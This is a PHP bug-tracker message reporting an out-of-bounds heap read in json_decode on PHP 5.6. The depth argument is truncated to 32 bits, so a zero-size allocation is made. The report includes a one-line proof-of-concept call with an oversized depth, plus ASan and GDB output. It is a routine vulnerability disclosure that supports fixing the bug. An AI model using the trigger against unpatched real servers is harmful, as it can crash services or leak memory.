Bug #72787 [Ver]: json_decode reads out of bounds

From: Date: Sun, 14 Aug 2016 11:55:32 +0000
Subject: Bug #72787 [Ver]: json_decode reads out of bounds
References: 1  Groups: php.bugs 
Request: Send a blank email to php-bugs+get-203273@lists.php.net to get a copy of this message
Edit report at https://bugs.php.net/bug.php?id=72787&edit=1 ID: 72787 Updated by: bukka@php.net Reported by: fernando at null-life dot com Summary: json_decode reads out of bounds Status: Verified Type: Bug Package: JSON related Operating System: Linux x86_64 PHP Version: 5.6.24 Block user comment: N Private report: N New Comment: Just note that this is related just to 5.6 and there should be no issue in 7.0 (new parser). Considering that almost all Linux users are using json-c which shouldn't have that issue either, I'm not going to invest my time to fixing this. However if anyone else wants to fix it before 5.6 goes to security only, you are more than welcome! Previous Comments: ------------------------------------------------------------------------ [2016-08-08 21:52:14] cmb@php.net I can confirm the issue checking with valgrind. ------------------------------------------------------------------------ [2016-08-08 19:33:39] fernando at null-life dot com Description: ------------ When depth parameter is greater than 0xffffffff, cast to int (32 bytes) happen. Moreover, if last four bytes of depth parameter are 0x0, then new_JSON_parser function allocates 0 bytes. Later, parse_JSON_ex reads out of bounds. Source code: https://github.com/php/php-src/blob/PHP-5.6.25/ext/json/JSON_parser.c#L249 JSON_parser new_JSON_parser(int depth) { JSON_parser jp = (JSON_parser)emalloc(sizeof(struct JSON_parser_struct)); jp->state = GO; jp->depth = depth; jp->top = -1; jp->error_code = PHP_JSON_ERROR_NONE; jp->stack = (int*)ecalloc(depth, sizeof(int)); // depth = 0 if (depth > JSON_PARSER_DEFAULT_DEPTH) { jp->the_zstack = (zval **)safe_emalloc(depth, sizeof(zval), 0); } else { jp->the_zstack = &jp->the_static_zstack[0]; } push(jp, MODE_DONE); return jp; } Test script: --------------- poc.php <?php json_decode('""', false, 0x100000000); Expected result: ---------------- No crash Actual result: -------------- ASan output: ==8971==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000ff10 at pc 0x000000bc1e79 bp 0x7ffd151ad790 sp 0x7ffd151ad780 READ of size 4 at 0x60200000ff10 thread T0 #0 0xbc1e78 in parse_JSON_ex /home/operac/build2/php-src-56/ext/json/JSON_parser.c:655 #1 0xbb4a3a in php_json_decode_ex /home/operac/build2/php-src-56/ext/json/json.c:709 #2 0xbb83d2 in zif_json_decode /home/operac/build2/php-src-56/ext/json/json.c:848 #3 0x1d5b393 in zend_do_fcall_common_helper_SPEC /home/operac/build2/php-src-56/Zend/zend_vm_execute.h:558 #4 0x1c0463c in execute_ex /home/operac/build2/php-src-56/Zend/zend_vm_execute.h:363 #5 0x194c382 in zend_execute_scripts /home/operac/build2/php-src-56/Zend/zend.c:1341 #6 0x169a2df in php_execute_script /home/operac/build2/php-src-56/main/main.c:2613 #7 0x1d64366 in do_cli /home/operac/build2/php-src-56/sapi/cli/php_cli.c:994 #8 0x4550a0 in main /home/operac/build2/php-src-56/sapi/cli/php_cli.c:1378 #9 0x7f163dd1582f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #10 0x4556b8 in _start (/home/operac/build2/bin/php+0x4556b8) 0x60200000ff11 is located 0 bytes to the right of 1-byte region [0x60200000ff10,0x60200000ff11) allocated by thread T0 here: #0 0x7f16402df602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602) #1 0x17fcf69 in _ecalloc /home/operac/build2/php-src-56/Zend/zend_alloc.c:2610 #2 0xbbbb4c in new_JSON_parser /home/operac/build2/php-src-56/ext/json/JSON_parser.c:249 #3 0xbb4a10 in php_json_decode_ex /home/operac/build2/php-src-56/ext/json/json.c:708 #4 0xbb83d2 in zif_json_decode /home/operac/build2/php-src-56/ext/json/json.c:848 #5 0x1d5b393 in zend_do_fcall_common_helper_SPEC /home/operac/build2/php-src-56/Zend/zend_vm_execute.h:558 #6 0x1c0463c in execute_ex /home/operac/build2/php-src-56/Zend/zend_vm_execute.h:363 #7 0x194c382 in zend_execute_scripts /home/operac/build2/php-src-56/Zend/zend.c:1341 #8 0x169a2df in php_execute_script /home/operac/build2/php-src-56/main/main.c:2613 #9 0x1d64366 in do_cli /home/operac/build2/php-src-56/sapi/cli/php_cli.c:994 #10 0x4550a0 in main /home/operac/build2/php-src-56/sapi/cli/php_cli.c:1378 #11 0x7f163dd1582f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) SUMMARY: AddressSanitizer: heap-buffer-overflow /home/operac/build2/php-src-56/ext/json/JSON_parser.c:655 parse_JSON_ex ... GDB output: USE_ZEND_ALLOC=0 ASAN_OPTIONS=detect_leaks=0 gdb -q --args /home/operac/build2/bin/php -n poc.php No symbol table is loaded. Use the "file" command. Breakpoint 1 (__asan_report_error) pending. Reading symbols from /home/operac/build2/bin/php...done. gdb-peda$ b json.c:708 Breakpoint 2 at 0xbb4a09: file /home/operac/build2/php-src-56/ext/json/json.c, line 708. gdb-peda$ b new_JSON_parser Breakpoint 3 at 0xbbb930: file /home/operac/build2/php-src-56/ext/json/JSON_parser.c, line 243. gdb-peda$ r ... Breakpoint 2, php_json_decode_ex (return_value=return_value@entry=0x60300004cd50, str=0x7ffff7e683a8 "\"\"", str_len=0x2, options=<optimized out>, depth=0x100000000) at /home/operac/build2/php-src-56/ext/json/json.c:708 708 jp = new_JSON_parser(depth); gdb-peda$ p depth $1 = 0x100000000 gdb-peda$ c Continuing. ... Breakpoint 3, new_JSON_parser (depth=depth@entry=0x0) at /home/operac/build2/php-src-56/ext/json/JSON_parser.c:243 243 { gdb-peda$ p depth $2 = 0x0 // Cast to 32bits gdb-peda$ b _ecalloc Breakpoint 4 at 0x17fce90: file /home/operac/build2/php-src-56/Zend/zend_alloc.c, line 2603. gdb-peda$ c ... Breakpoint 4, _ecalloc (nmemb=nmemb@entry=0x0, size=size@entry=0x4, __zend_filename=__zend_filename@entry=0x21ad500 "/home/operac/build2/php-src-56/ext/json/JSON_parser.c", __zend_lineno=__zend_lineno@entry=0xf9, __zend_orig_filename=__zend_orig_filename@entry=0x0, __zend_orig_lineno=__zend_orig_lineno@entry=0x0) at /home/operac/build2/php-src-56/Zend/zend_alloc.c:2603 2603 { gdb-peda$ p nmemb $3 = 0x0 // Allocate 0 bytes ------------------------------------------------------------------------ -- Edit this bug report at https://bugs.php.net/bug.php?id=72787&edit=1

« previous php.bugs (#203273) next »